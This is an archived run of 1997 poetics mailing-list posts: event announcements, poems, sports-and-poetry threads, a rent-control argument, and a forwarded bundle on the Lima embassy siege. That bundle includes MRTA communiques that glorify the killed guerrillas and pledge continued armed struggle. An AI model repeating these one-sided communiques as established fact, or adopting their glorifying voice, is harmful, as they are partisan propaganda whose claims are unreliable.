Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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866. **charssmith**

Fwd: Networking Artists & Poets Exhibition

Thu 24 Apr 1997

I'm passing this along for anyone interested:

Forwarded message:
From: [redacted] (Greg Bear)
collecting)
collecting)
To: [redacted]
Date: 97-04-24 14:28:43 EDT

The University of Pennsylvania Library's Department of Special Collections presents "Networking Artists & Poets: Assemblings from the Ruth & Marvin Sackner Archive of Concrete & Visual Poetry." This exhibition is currently on view from 17 April-27 June 1997 in the Rosenwald Gallery, located on the sixth floor of the Van Pelt-Dietrich Library. The Rosenwald Gallery is open to the public Monday through Friday from 9 AM-5 PM; a picture ID is required for admittance to the library. Van Pelt-Dietrich Library is located at 3420 Walnut Street (but its entrance is from Locust Walk, at the statue of the broken button), Philadelphia PA 19104-6206. Parking is available at 36th & Walnut Street.

Craig Saper, Exhibition Curator, states that, "in the second half of the 20th century, artists, writers, and printers started many alternative distribution networks for their experimental art and literature. They circumvented the gallery system with direct mailings and other innovative ways to reach their audiences and collaborators." Assemblings are an outgrowth of this desire. "Networking Artists & Poets" represents one of the largest exhbitions to date featuring this unique material. Assemblings featured in this exhibition include works by prominent mail artists, Dada and Fluxus artists, concrete and visual poets, and more.

The Library has produced a 34-page full-color exhibition catalogue for this exhibition, currently available for $10.00 per copy (check only; we cannot accept credit cards.) To order a catalogue, or if you want more information about the exhibit, contact me by phone, mail, or e-mail (numbers, etc., are listed below).

A few copies of the illustrated catalogue based on Penn's 1993 exhibition also drawn from the Sackner Archive, "Human Documents: Tom Phillips's Art of the Page," also remain available from the same address. (They also cost $10.00.)

Thanks,

Greg Bear

Greg Bear

Exhibit/Graphic Designer
Department of Special Collections
University of Pennsylvania Library
[redacted]
[redacted] fax

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867. Wendy Battin
chastened by CB'sreposting of the welcom message
Thu 24 Apr 1997

New Release

1997 Winner of the Snyder Memorial Prize from Ashland

Little Apocalypse

poems by Wendy Battin

ISBN #0-912592-40-0
$10.00 pbk.

Amid the incoherence of things, between the coarse lines of dissolution; after our last photogenic war, the "fever-vivid" language of Wendy Battin's Little Apocalypse threads between lucidity and lyricism, surface and depth to the very fovea of the song. An exquisite collection. --CD Wright

Available from The Ashland Poetry Press
Ashland University, Ashland, Ohio 44805 phone [redacted]
fax [redacted]

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868. Louis Cabri
selections from
Fri 25 Apr 1997

David Bromige, hi--I was referring, way back, only to the intro that Robert Pack wrote for his selection of poets in the 1962 edition of New Poets from England and America, not to the individual poets therein. And to the implicit argument of Pack's intro. It is an argument that supports the following in my view. The poet Ginsberg enters the social arena of Time policed by the journalist, only on condition that poet substitutes for poem, agency conflates with agent--i.e. on condition that the poem itself disappears, and that agency is contained in one individual, Ginsberg, whose reception is governed by the journalist. Thus the journalist can say, Ginsberg's popular because of his media-tuned personality,

that's all. Ginsberg anticipates this reception in his poetry at times, formally--in other words, he anticipates the conflation of agency with agent by assuming it, sometimes to be critical of it, sometimes to use it to go somewhere else, sometimes to ride on it. I do read the '62 antho backwards. Thanks for the reminder that the first edition came out in '58.

/

I like this version of the Moore poem for its ending:

POETRY

I too, dislike it:
there are things that are important beyond all this fiddle.
The bat, upside down; the elephant pushing,
a tireless wolf under a tree,
the base-ball fan, the statistician-
"business documents and schoolbooks"-
these phenomena are pleasing,
but when they have been fashioned
into that which is unknowable,
we are not entertained.
It may be said of all of us
that we do not admire what we cannot understand;
enigmas are not poetry.

(from A Survey of Modernism, eds. Riding/Graves, 1928)

/

And here for no direct reason at all, in a slippery language befitting the email context, the first sentence from an essay, "Topping," by Clint Burnham, in the latest BOO magazine:

"Today our cultural and political world is characterised by two contradictory attitudes or ideologies: global diversity and absolutist monism."

--Louis

↑ Index

869. Elizabeth Mathews Losh
Re: Poem for Rent
Fri 25 Apr 1997

Paleeze! It's certainly a good idea to bother state senators whenever possible with one's poems, but there are certainly greater social justice issues than rent control and whatever ideas you may have about being persecuted by your landlord. What about the failure of our government to build more affordable

housing for low and moderate income tenants and the general gutting of HUD happening this year?

I can't speak for New York or Massachusetts, but here in California rent control (without vacancy decontrol) helps upper middle class tenants over and above everyone else. In fact, just about every major demographic study of both Santa Monica and Berkeley shows rent control (without vacancy decontrol) DECREASED the number of low and moderate income tenants as the housing market shrank. Ethnic diversity took a dive too. Now I'm talking about rent control not rent stabilization. They ARE different.

Anyway, the poetics list isn't the place for me to take issue with Daniel Bouchard or to note the fact that I generally agree with him on poetry and politics. Anyone who wants to backchannel and have me crunch the numbers for them I'd be happy to.

Anyone who wants a unit with hardwood floors and a liberal-lefty poet landlord on premises in Santa Monica, forget it. It's rent controlled so we never have vacancies.

On Wed, 23 Apr 1997, Daniel Bouchard wrote:

> *Good for Brendan Lorber!*
> *& May what happened in Massachusetts, not come to pass in New York.*
>
> *Since rent control was banned in Massachusetts, former rent control tenants (aka "protected status") have faced rent increases anywhere from 50-300%. What have cities done to help all the people who are now vulnerable to "market rates?" Nuttin. Except, in Cambridge at least, the city has set up a board to "assist" people in moving out of their apartments and, since all the rents in the city have skyrocketed, effectively move out of the city. Left on their own, city government does this kind of thing, and then they praise themselves for it in the press.*
>
> *There are alternatives though (for anyone in NY, or anywhere else facing this situation).*
>
> *Last week, after months of campaigning, tenant organizing, lobbying, etc., a group called the Eviction Free Zone saw through city council orders in Cambridge that 1) transferred over 1 and 1/2 million dollars into the Affordable Housing Fund (from the "free cash" coffer) and 2) designed a transfer tax on residential sales in Cambridge--with the first $300,000 exempted that will provide a substantial revenue for replenishing affordable housing funds. This is going to the State House in a week or so, where Governor Weld has already stated that he will veto ANY taxation bill that does not have a local referendum attached to it. So in the drafting of the bill, the EFZ insisted that such a referendum be attached. We are very confident of being able to see that it passes in the fall.*

> *Next on the agenda is securing a 20 million dollar bond for the immediate purchase of apartment buildings on the market to be made permanently affordable housing.*
>
> *It's incredible the arguments that were made against all of our efforts. I am growing confident that the real estate interest is second in power in this country only to the military/defense interest. One argument: "if we put through this transfer tax it will hinder young and struggling families from buying homes in Cambridge." A glance at the Sunday house advertisements indicate the median price range for a house in this city to be well beyond the means of any "young and struggling families." In fact, I have come across more than enough families who have lived in Cambridge all their lives and who cannot afford it anymore. Their children will have to settle elsewhere.*
>
> *Anyway, it's been a long road, and it's certainly far from over. Hours of meetings and talk complicated by time given for both Creole and Hispanic translators, etc. But it can be done, and good luck to anyone facing this dismal prospect. Back channel me if you want more info. on the work we've done here.*
>
> [redacted]
>
> *Brenda,*
>
> *How can I get a copy of Lorber's poem?*

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870. **Daniel Zimmerman**

Re: ReHoops

Fri 25 Apr 1997

---

william marsh wrote:
>
> >It does seem, though, that if a poet dares admit to liking a sport,
> >baseball is the safe one, probably because it's slow, and therefore
> >"poetic."
>
> i agree / the oft-mentioned "zen" aspect of baseball makes for easy (often
> false) parallels
>
> but would anyone be interested in collaborating on a list of
> basketbal-to-poetry analogies? i.e., i'll begin with:
>

> dribble = cadence, syncopation
> cross-over dribble = line break
> slam dunk = haiku
>
> etc.
>
> bill marsh

foul shot = allusion
jumper = line break enjambed to a new stanza
rebound = (Hebraic) iteration

Dan Zimmerman

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871. Marina deBellagente laPalma

writing (or thinking, for that matter) more than one thing at a time

Fri 25 Apr 1997

Actually, it's THINKING THE SAME THING WITH MORE THAN ONE MIND

I'm working on some poems under title "Somas" Ideas coming out of long embracing of theme and recent readings such as: David Abrams' The Spell of the Sensuous: Perception & Language in a More than Human World; Morris Berman's Coming to Our Senses: Spirit and Body in the Hidden History of the West The Gift: Imagination and the Erotic Life of Property by Lewis Hyde. I talk about these things in the frequently modified prose texts on my web site, but they are also being processed at another level in "poet" mind.

Here is a recent one. (the stanzas are meant to appear on the page in two columns, with slightly different typefaces and alternately aligned -- one flush right, next one left and so on ... sort of "interlaced", formatting impossible via e-mail.)

title: Bicameral Breakdown (a nod to Julian Jaynes)

Language, as Beckett supposedly said
(or was it Ionesco?) is something
gone wrong with the silence.

Is it possible some of those pages you
lost or discarded were precisely the ones
that might have supplied the meaning,
the missing phrase? Could they be
alive somewhere and growing,

like the children whose faces adorn
or deface milk cartons?

Idiot and idiom derive from
the same Greek root, meaning
private one's own, Gramsci noted.

Writing: an act so simple it isn't
worth mentioning. An action so brutal
it can separate, temporarily, left from
right, body from mind. Chained to
the cyclic tortures of sleep, the fallible
body is bottleneck, switchboard, ground.

Being in the present
observes Anne Klein
is always interesting.

Sometimes you flare up, demanding
fairness, attention, sanity.
Sometimes you lose your temper,
becoming unfair, inattentive, insane.
This release is a mild stimulant,
about as harmless (or harmful) as coffee,
depending on your metabolism.

Revolts, Pasolini suggests
are fed by a secret anxiety for order.

Is the whole thing merely a
swirl of indifference, you ask yourself,
an ocean of chaos
where we shore up islands of light?

The passions are numberless,
you vow to extinguish them all.

But not yet.

Marina laPalma

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872. Marina deBellagente laPalma
(no subject)
Fri 25 Apr 1997

This is a recent exchange I had with a friend who is very involved in working with Amnesty International. I see this as a free speech issue and wonder how other on the poetics list see it. I received the following:

Date: Mon, 21 Apr 1997
From: Veronique Fourment <[redacted]>
To: [redacted]
Subject: FW: Help block Neo-Nazi group

Hi Marina, Hope you can use this , pass it on ... A bientot,

"We understand that Nazi groups are trying to create (again) a usenet group where they want to keep in contact with each other regarding their activities. I believe it is not necessary to dwell further on these activities.

The group is rec.music.white-power

To create such a group, they have to win a referendum that is always organised when a new usenet group is created. All persons with an email address, and only those, can vote in this referendum.

It is important to vote only once, otherwise the vote is cancelled.
To prevent the creation of this group, you have to:
1. Send this message to people you know
2. Send an email to the following address:
[redacted]
with as contents (not 'subject') ONLY the following line:
I vote NO on rec.music.white-power
Since the vote is automatic, it is IMPORTANT to send the exact line
as it is given above, without adding anything, not even a name.
And please send it only once or it becomes invalid !

I replied:

Dear Veronique -- Of course the first reaction of any decent human being is "Neo-nazi groups? Let's STOP THEM now!" But I wonder whether the specific blocking of such a net communications group by a referendum isn't a repression of free speech? How can we hope to change their minds and hearts by not letting them speak to one another? Since it is their actions we must block, mybe it's better to have neo-nazis typing their ugly and pathetic ideas (and their addresses etc.) because then we/others know where they are; can WATCH them, as KlanWatch does with the KKK. And can repond to them. If we agree that the democratic antidote to free speech one disagrees with is more free speech, then

(assuming that usenet groups interchanges, like most electronic communications media, are permeable) reasonable people could in fact monitor, publicize and comment upon neo-nazi exchanges. Otherwise I fear we simply risk setting precedents for the "blocking" of groups that want to talk about, say, gay rights or trans-gender issues, organize anti-nuclear sit-ins or share information on obtaining marijuana for medical uses, or whatever someone else might see as wrong or evil.

Is the use-net considered a "private" medium, a club where we have the right to exclude material we object to. The first time someone in a neo-nazi usenet group advocates any act that is illegal or violent, it can be brought to the attention of potential victims, appropriate civil authorities or whatever, whereas if they do it in a secret meeting in their houses how will we know? Anyway, these are my thoughts tonight. What do you think? I will certainly let people know this thing potentially exists and is something to keep an eye on. Love, Marina

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873. Michel Delville
Poetry and Soccer
Fri 25 Apr 1997

One more addition to the list -- the title poem of Don Paterson's best-selling collection, *Nil Nil*, is, unsurprisingly, about soccer. Paterson is reported to be quite a good soccer player as well as a (semi?)professional jazz musician.

Michel Delville
English Department
University of Liège
3, Place Cockerill
4000 LIEGE
(BELGIUM)

Fax: ++ 32(0)4 366 57 21
e-mail: [redacted]

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874. Mark Prejsnar
Re: ReHoops
Fri 25 Apr 1997

I'm finally breaking down...and adding to the baseball(golf/hoops) thread, a citation for my all-time favorite irresponsible book in the universe (in certain moods, my all-time favorite book, period)--Mikhail Horowitz's Big League Poets,

from City Lights: the ultimate collision of baseball and poetry. The outrageous text, I could quote from; but it has to be seen in conjunction with Horowitz's remarkable photomontage caricatures of everyone from Homer to Baraka as ballplayers. (Just one line; one of Pound's achievements was "to be the game's first designated hitler"--)

For the (surprising) number of folks on the list who sound as fond of baseball as I am, this is really required.

Mark P.

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875. Tom Mandel
Sighted -- poets dunk golf balls
Fri 25 Apr 1997

Golf is a great game, and I'm a fanatic. If you play it well (I don't) it verges on a sport. Hank Lazar and I have repeatedly discussed playing a round together -- Hank is a *serious* fanatic.

As to roundball, I assume you all know that Kit Robinson, one of the really great poets of our time in my opinion, is also a pretty good basketball player. He was the center on the Computerland corporate team for most of the years that he (and Ron Silliman, and Alan Bernheimer, and Bill Luoma, and others of the bay area poetry community) worked there. Kit is captured driving the basket in one of Warren Sonbert's later films (apologies, but I can't remember which right now).

What about ping pong? How can we not mention ping pong, another great language game. Joan Retallack is an *excellent* ping pong player; she has a table in her garage. I can beat her though; I am a reeeally good ping pong player! I take on all comers. What about it?

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

Join the Caucus Conversation

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876. **Gwyn McVay**
Re: DRAGON BOND RITE
Fri 25 Apr 1997

Serious question: is that THE Kongar-ool Ondar, the same one who's in Huun-Huur-Tu? Serious but dumber question: is he the same man who made a recording with San Fran bluesman David Pena and taught him to sing khoomei?

bests
Gwyn McVay
suddenly not the only Tuvan music fan she knows

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877. **Rachel Loden**
Re: there's a man on the fairway taking names
Fri 25 Apr 1997

Hank Lazer wrote:

> *OK, Rachel, a few names (off and on the list): Ray Federman (a seriously addicted and reputedly fine golfer, has played in tournaments all over the US); Michael Palmer (reported to be quite a good golfer); the already named Paul Naylor; Alan Golding (sorry, Alan, Rachel coaxed it out of me.... though Alan is, properly, much more of a soccer player...); Judy Grahn; Tom Mandel; Charlie Altieri (I stop now, since I'm beginning to name critics...). And Rachel, just think of the clothes--plaid pants, tasseled shoes, strange gloves, weird tan lines, etc.... And the discussions of blades vs. cavity backed irons; persimmon vs. metal woods....*

Hank, thank you for that wonderful list. Judy Grahn?! Judy, we hardly knew ye. But now that you mention it, I think I do remember her showing up for a reading run-through (long ago) in golf shoes and a little cap. Silly me, I just thought it was her Valerie Solanas chic.

Rachel

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878. **Christopher Alexander**
Re: Robert Duncan
Fri 25 Apr 1997

Mike Boughn wrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrttttttt:
> I've been working on ways to get the Peruvian governemnt involved in
> negotiating the release of the Duncan papers being held hostage in the
> poetry compound at Buffalo.

Diplomatic solutions are a waste of time. Now the moment
is come for action. We can only win who have nothing to lose.
Viva la revolucion! "wait, no...my Spanish isn't too good
here, um...sir, excuse me, senior...por favor...can you tell me
which is the bus to nueva...nueva yorca?"

Have you tried begging? Or wine & chocolates for the faculty? (If either of these ideas works I expect to be cut in on the take).

Chris
..
Christopher Alexander, etc.
nominative press collective

160S 1300E #16
Salt Lake City UT 84102
[redacted]

n/formation issue 1.1 now online:
http://choengmon.lib.utah.edu/~calexand/nonce

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879. R I Caddel
British Poetry Seminar in Brno
Fri 25 Apr 1997

The Department of English and American Studies,
Masaryk University, Brno

and

The Centre for Comparative Cultural Studies,
Palack University, Olomouc

with the support of the British Council in the Czech Republic

will be holding a seminar entitled

"Different British Voices - Poetry, Locality, Plurality"

on September 12-14, 1997

in Brno, the Czech Republic

The seminar will examine aspects of locality and difference in the writing and performance of poetry in British contexts and beyond.

Leading the seminar will be four widely differing British poets: Richard Caddel, Maggie O'Sullivan, Lee Harwood and Tony Baker. Like many other poets currently active in Britain, each of them has established a reputation for using

performence and voice to stress the importance of locality and to question notions of "centrality" in British poetry and culture.

The poets will perform their own work and lead a series of seminar discussions. They will be joined at the seminar by the renowned Czech poet Miroslav Holub as well as by other Czech poets and translators and, we hope, by poets and translators from other countries and regions.

The seminar will be of interest and relevance to poets, teachers and translators.

The cost of the Seminar, including two nights accomodation and meals, will be in the region of 80 pounds. For further information, or to express interest, please contact:

Don Sparling
Department of English and American Studies
Masaryk University
Arna Novaka 1
660 88 Brno
Czech Republic

Tel: (421-5) 41121 153 Fax: (421-5) 41121 406
e-mail: [redacted]

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880. Gabrielle Welford
MRTA Statements (fwd)
Fri 25 Apr 1997

---------- Forwarded message ----------
Date: Thu, 24 Apr 1997 18:55:21 -1000
From: Peter Urban <[redacted]>

> *INTRO*
> *~~~~~*
> *This week's GS INFO is focused on covering the storming of the Japanese embassy in Lima, Peru, and the subsequent killing of all 14 MRTA members inside. While it is still too early to grasp the full ramifications of the embassy occupation and massacre, the information provided here may help to fill in some of the gaps left by the coverage of the mainstream press. Another GS INFO with more information on happenings in Guelph and activities being planned over the summer will be sent out in the next couple of days.*
>
> *"A DEFEAT FOR THE MRTA?" AN INTERVIEW*
> *~~~~~~*
> *Interview With Norma Velazco, European Spokeswoman For The Tupac*

Amaru Revolutionary Movement (MRTA)

Q: Media reports claim that the MRTA guerrillas were caught completely by surprise during the storming of the Japanese ambassador's residence. Was the attack by 150 elite soldiers in fact a surprise?

No. The storming of the residence did not come as a surprise to us, nor to the MRTA commando in the residency. We always knew and said that President Fujimori, right from the beginning, was pushing for a military solution. That was proven time and again during the occupation of the residency. Even before the occupation action began, martial law was imposed on Lima and the harbor area of Callao. Many campesinos were arrested without charge and accused of being members of the MRTA.

Then in March there was the discovery of the tunnel, which the military had dug from a neighboring house. That made Fujimori's intentions clear to all the world. No, we had no illusions. All the time Fujimori spoke of a peaceful ending and the media reported how a solution was almost at hand. But we did have some bit of hope that the international public opinion in many countries would increase pressure on the Peruvian government and force them to give in. I mean in countries where, unlike in Peru, people can go out into the streets and demonstrate for their demands. But in this, we were disappointed.

Q: How do you explain the fact that during the storming of the residency, all 14 guerrillas were killed - including two teenage girls - whereas on the other side, only 2 soldiers and 1 hostage died?

The goal of the MRTA commando was not to murder the embassy prisoners. They were determined to have their demands fulfilled while providing the maximum protection for the lives of their prisoners. There was a struggle between the members of the commando and the soldiers. But most of the members of the MRTA commando were only killed after the residency had been taken, they were most likely tortured as well. Their dead bodies have not yet been shown to the public.

Q: Following the storming of the ambassador's residence, was there any resistance on the part of the Peruvian people?

Due to the total militarization of Lima, no such resistance is possible. But over the next few days, there will be actions carried out all across Peru. The MRTA is prepared for this.

Q: Was the storming of the residence a defeat for the Tupac Amaru?

Sure, this is a serious defeat for the MRTA; neither the movement nor the Peruvian people have gained anything from this. But it is not over yet. We lost the battle, but the struggle continues.

Q: A few hours after the storming of the Japanese ambassador's residence, Peruvian President Alberto Fujimori celebrated in an exclusive restaurant in the San Isidro diplomatic district his most recent victory over "terrorism". It seems that Fujimori has emerged from this crisis stronger than when it began.

If one were to believe Fujimori, this action could never have taken place to begin with, since he had declared that the MRTA was dead years ago. He will do that now again, but he will be disappointed. Fujimori can celebrate his victory for the moment. But the problems of the Peruvian people have by no means been solved by his action: A vast segment of the population still suffer from poverty, hunger, and a lack of proper medical care, and these problems are increasing. The end of the crisis at the ambassador's residence showed that Fujimori exclusively relies on military means; he always has and he always will.

The MRTA commando always stressed that it desired a peaceful solution, and many people in Peru demonstrated on the streets for that same reason. The basis for a peaceful solution would have been changes in the inhumane conditions which the political prisoners in Peru endure. But one thing is clear: There is no basis for dialogue with the Fujimori regime.

Q: The stated goal of the residency occupation was to win improved conditions for the political prisoners of the MRTA in Peru's jails. What will this new situation mean for the prisoners?

Until now, no improvements in conditions have been proposed by the regime. So we must think of new and better ways to win the release of our comrades. But the important thing now is for the international community not to close their eyes and forget the political prisoners and the inhumane treatment they receive.

(Interview by Peter Nowak, published in Junge Welt, April 24, 1997; Translated by Arm The Spirit)

MRTA COMMUNIQUE #16
~~~~~~~~~~~~~~~~~~~~
Movimiento Revolucionario Tupac Amaru (MRTA) Communique #16

On April 22, 1997, at 3:00 p.m., military and police units stormed the embassy, thereby murdering all the members of our commando and one other person, according to reports so far. The National Directorate of the Tupac Amaru Revolutionary Movement (MRTA) would like to report the following to the international community:

1. A new crime has been committed against the best sons and daughters of the people, a crime carried out by the terrorist regime of Alberto Fujimori, with the compliance of the governments of Japan and North America.

2. During the one-sided battle, the members of Edgar Sanchez Commando displayed the morale of Tupac Amaristas, the decision for victory or death, to stand for the liberation of our people and against neo-liberalism, which has only brought our people sorrow and oppression.

3. With the murder of Comandante Nestor Cerpa and the members of the Edgar Sanchez Commando, the genocidal Fujimori regime seeks to convince our people and the international community, once again, that the Tupac Amaru Revolutionary Movement has reached its end.

4. We, Tupac Amaristas, lower our flags in honor of our murdered brothers and sisters, strengthened in our resolve to continue the fight for a peaceful society with social justice.

5. We say to our people and to our militants all across the country, the members of the Edgar Sanchez Commando did not die, they have reached the level of heroes, they will be with us during all of our mobilizations and actions.

The workers' commander from the people of Tupac Amaru, in all of his human qualities, was a slap in the face of the genocidal generals, and they could not endure this.

COMANDANTE NESTOR CERPA CARTOLINI... PRESENTE!
You Are In Our Memories!

COMANDO EDGAR SANCHEZ...PRESENTE!
You Are In Our Memories!

The People Of Tupac Amaru Will Continue To Fight Against
The Neo-Liberal Model And Against State Terrorism!
The People Will Not Surrender!
Neither Surrender Nor Defeat ... The Struggle Continues!

National Directorate of the MRTA

April 22, 1997

CRITIQUE OF MRTA TACTICS
~~~~~~~~~~~~~~~~~~~~~~~~~~
The massacre of the Lima's Japanese residence
By Juan Ponce (member of Poder Obrero Peru)

On Tuesday 22 April bat 3:17 p.m., Roberto Fujimori, Peruvian president, ordered the assault on the residence of the Japanese ambassador in Lima. In approximately 35 minutes the 140-man military-police team where able to rescue all except one of the 72 ho stages. In the action all the 14 MRTA guerrilla fighters, two soldiers and one judge which was a hostage were killed.

Three days before the action the Minister of Interior, General Juan Carlos Briones, and the police commander, Lt. General Antonio Ketin Vidal, resigned. The latest was the person in charge of the capture of the great leader of the PCP-Sendero Luminoso, Dr. Abimael Guzman, which conducted to the beginning of the downfall of the guerrillas more than four years ago. Ketin Vidal was apparently against an armed solution. For him the path to be follow have to be a political one.

The operation was a technical and military success. It was very well prepared by foreign "anti-terrorist" specialist. The Israeli army, which had the most sophisticated and "third generation" electronic devises trained a special commando for more than fou r months. According to "La Republica" (Lima , 23 April) the troops entered like moles from three tunnels. An AP cable said that they "poured through the compound^Òs front gate and blasted open the mansion's front door.

Others attacked from the rear, and a third unit climbed to the rooftop and shepherded hostages down to the ground." The attack was made in a clear day and the MRTA commando was completely took by surprise. Nestor Cerpa, the commander in chief, was playing football with some hostages, when it happened. Despite that they where heavily armed, they where incapable of confronting with so advance technologies and training.

Until the moment the official version is claiming that only one hostage was killed. Fujimori said 25 other captives were injured in the gunfire and explosions that rocked the compound. The Peruvian chancellor, Tudela, and few other hostages received some bullets and are hospitalised. Their are no more information about that and it could not be annulled the possibility that in some more hours more wounded people would not survive.

Fujimori employed a pure military solution to finish the 127 days guerrilla occupation of the Japanese diplomatic house. It begun on 17 December 1996 when more than 500 VIP where celebrating the anniversary of

the Japanese emperor in the house of the amba ssador.

The MRTA action differed from other guerrilla operations. They didn't kill any hostages. In the first day of the occupation they liberated all the 200 women (including Fujimori's mother and sister) trying to show that they are a Macho Latino gentlemen. Some days later they also liberated all the US hostages and all the diplomats from Europe, Canada and Asia. They only kept 72 hostages which included high Peruvian figures, two tens of Japanese businessmen and diplomats, and the ambassadors of Japan and Bolivia. In a gesture of "pacifist" will the MRTA freed on the 26 January, general Jose Rivas, a top police repressive figure, because he was very ill.

The MRTA tried to demonstrate to the ruling class and imperialism that they where not "savage" terrorists, and that they wanted to open a road to a pacific solution which would contemplate the re-integration of the Castroite MRTA into the system as it hap pen with its brother organisations in Colom bia and Central America.

The MRTA didn't appeal to the working class to make mass demonstrations. Despite the fact that they said that they want a change in the political economic programme, they didn't strength that point. All the debate was around the situation of the MRTA's 400-500 prisoners. They even didn't want to a sk for the liberation of the other 5,000 prisoners which belong to other forces, mainly to the rival guerrilla organisation, the PCP-SL. The MRTA was founded in 1982 under the influence of the Sandinista's revolution.

At that time in Peru the PCP-SL was already two years in "popular war". The strategy of both organisations where very different. The PCP-SL had a Mao-Stalinist one which con sisted in surrounding the cities from the co untryside and establishing fierce four-class dictatorships in their liberated zones.

For the Maoists the rest of the political parties where the same thing and they kill tens of left-wingers and trade-unionists. They where in favour of the physical destru ction of all the workers and peasants organ isations and unions which they would not be able to control. The MRTA wanted to appear as a force which was willing to have alliances with the United Left, a mass popular front, and the APRA, the bourgeois nationalist party which won the 1985 elections, and sections of the army, the church and the ruling class. The y used uniforms and had better weapons and military sophistication than the Maoists who where mainly poor peasant and shanty-towns activists.

Their most spectacular action was when in 1990, few days before Fujimori became president, they liberated all their prisoners from a new jail of maximum sec urity in Lima. In 1990 Fujimori decided to crush the militants

unions and the guerrilla. His anti-terrorist measures served to destroy all working class resistance. The guerrillas become isolated. After the April 92 self-coup in which Fujimori dissolved the parliament, the PCP-SL launched a premature adventure w hich tried to produce the capture of Lima. They over-estimate their forces and their main leader was captured. One year later Guzman decided to radically change his strategy and called all his comrades to abandon the "people's war" and to enter in a "p eace agreement" process with the regime.

This lead to the demoralisation and division of this former powerful guerrilla movement. At the same time the MRTAs nearly destroyed. In 1995 Fujimori was re-elected with the majority of the votes. The guerrilla was extremely weak, and the workers movement and the left where heavily disorganised. Some months before the MRTA assault on the Japanese diplomatic house, the situation in Peru was slowly change. Fujimori started to make concessions when he tried to privatise all the petroleum company and when he tried to cancel some weeks of the holiday period of every worker. Some sections of t he bourgeoisie, which supported all his repressive measures, where beginning to ask for a more open society, to moderate the extreme power of the repressive forces, and to make some economic changes from an extreme neo-liberal programme.

The MRTA occupation of the Japanese residence divided the ruling class into two main camps. The neo-liberals wanted a military solution which could allow more privatisation and measures against the organised workers movement. The moderate opposition wanted a peaceful solution which would weak Fuji mori, could incorporate the guerrillas into the system and could allow the development of an internal market. Peru has one of the worst human rights conditions. The political prisoners are judge by faceless military courts and could be sentenced to survive until their deaths in, what Fujimori call, "living tombs". They could not have access to the media, could o nly see the sun in weeks and to receive only one half an hour visit per month. The bourgeois opposition accepted that rule because for them the "terrorists" are sub-humans. However, they started to realise that so much harsh conditions would affect the future of any stable society.

In his latest declarations, Fujimori said that the MRTA dropped its original demands in favour of the liberation of all their more than 400 political prisoners to only 20. In Easter a solution was very close to be achieve. Japan was pressing for a deal in which the MRTA commando will be able to travel to Cuba and would receive in exchange some money, the freedom of some minor prisoners (including the partner of Nestor Cerpa, the MRTA commander in chief of the occupation) and to improve the situation of the rest of the MRTA prisoners with the aim tto prepare a peace process like in Guatemaa.

The latest move indicates that Fujimori decided to implement a hawk

decision. Some days before a recent opinion poll showed that Fujimori's level of popularity where in its lowest rate ever since he became president of Peru on 28 July 1990. After having for many years a rate of support of around 60 to 75% in the opinion polls he had some days ago only 37%. In the last months many Peruvians moved to express more dissatisfaction than support for his administration. The man that organised a self-coup d'etat in April 92 and forced the change of the constitution to be re-elected in 1995, want to break the laws another time and to be re-elect in the year 2000 for another five years more. However, he was behind the Lima^Òs major in some last opinion polls.

Fujimori wanted to recover his popularity showing that he is a strong man, a way of operating that he imitates from Thatcher. There is another reason why he ordered an invasion of the residence. In the last months there was a growing discontent in the population against his most loyal collaborators and he was being undermined inside the army. A TV station and two prominent high politicians (an ex-Minister of the former APRA government and the national leader of the United Left) where attacked by para-military in the recent weeks.

Several denunciations on corruption where being made against high repressive figures including Vladimiro Montesinos, the man in charge of the all-powerful National Intelligence System and the real "Rasputin" behind Fujimori. Four out of five Peruvians demanded that Montesinos have to explain the reasons of his fortune. Former general Sinesio Jarama, declared that the Peruvian army was unhappy of the situation and that it could produce a new situation of military coup or Fujimori's self-coup. During the five months hostage crisis Fujimori had two foreign pressures.

The USA was pushing him into a more intransigent solution to avoid other groups in the world to follow the example of the MRTA. Japan was pushing for moderate and pacific concessions. At the end the son of Japanese decided to accept the recommendations of the real bosses of Peru: the USA. The operation was realised in a diplomatic territory which by international laws is part of Japanese sovereignty. In Tokyo, Japan's prime minister called it a ''splendid rescue,'' but also said it was ''regrettable'' that Peru had not forewarned his government.

When the hostage crisis started Poder Obrero Peru published a very well known international statement in which we criticised the guerrilla operation while we said that we will critically defend them against the repression and that we are unconditionally in favour of the liberation of all the political prisoners.

The failure of the occupation show how wrong are the guerrillerist methods. They are made outside the workers movement and at the end only want to push the system into reforms. The two guerrilla groups in Peru attacked workers organisations and workers democracy, had an strategy in favour of a popular

front and a "democratic" regime with and behind the "progressive" bourgeoisie, and help the reaction to isolate and defeat toilers mass struggles.

It is not possible to defeat the US-trained army with very well armed elite. Only a mass uprising could do that. We work in that perspective. At the present low level of class struggles in Peru we are in favour of organising the workers and poor people from the shanty towns and the countryside for fighting around their more minimum demands and to advance in them through direct action.

We fight for eight-hour work, for a minimum living wage, for the elimination of all anti-terrorist laws, for stopping and reversing the privatisation, for the cancellation of the foreign debt and for the reorganisation of the union and popular organisations. We need to unite all the sectors in conflict into an struggle committee which would organise mass actions. In the recent months different workers sectors went into mass action (construction, oil, etc.) and we need to avoid the isolation of that struggles.

Our strategy is for a mass insurrection led by workers and peasants councils and militias which should establish a socialist republic as part of a voluntary Latin American federation. Our small forces are in discussions with other militants trying to crea te a nucleus for a revolutionary workers pa rty which could be the vanguard that struggle. Unfortunately most of the Peruvian left are in favour of popular front strategies. They want to create common governments with wings of the bourgeoisie. They disagree on the different electoral or armed methods to presurise them.

MRTA COMMUNIQUE #15
~~~~~~~~~~~~~~~~~~~~
Movimiento Revolucionario Tupac Amaru (MRTA) Communique #15

The International Represenation of the MRTA reports the following to the international and national public:

Militants from other Latin American revolutionary movements will join the MRTA if Fujimori does not free the political prisoners.

Several revolutionary groups that we will not specify for security reasons have expressed their intention of joining the political-military struggle of the MRTA in the Peruvian jungle if Fujimori's government does not agree to free the political prisoners imprisoned in Peruvian jail-tombs.

The inhumane conditions of these prisoners as well as the sympathies for the MRTA that have been awakened in revolutionary groups throughout Latin America have caused the formation of a movement called "The International Combat Block" that includes members of several nationalities and will co-ordinate revolutionary strategies from "the Rio Grande to Patagonia".

Paradoxically, the intransigent position of dictator Alberto Fujimori is creating a movement of groups joining the MRTA that will increase the MRTA's political and military strength and will increase its coordination with other revolutionary groups on the rest of the continent and throughout the world.

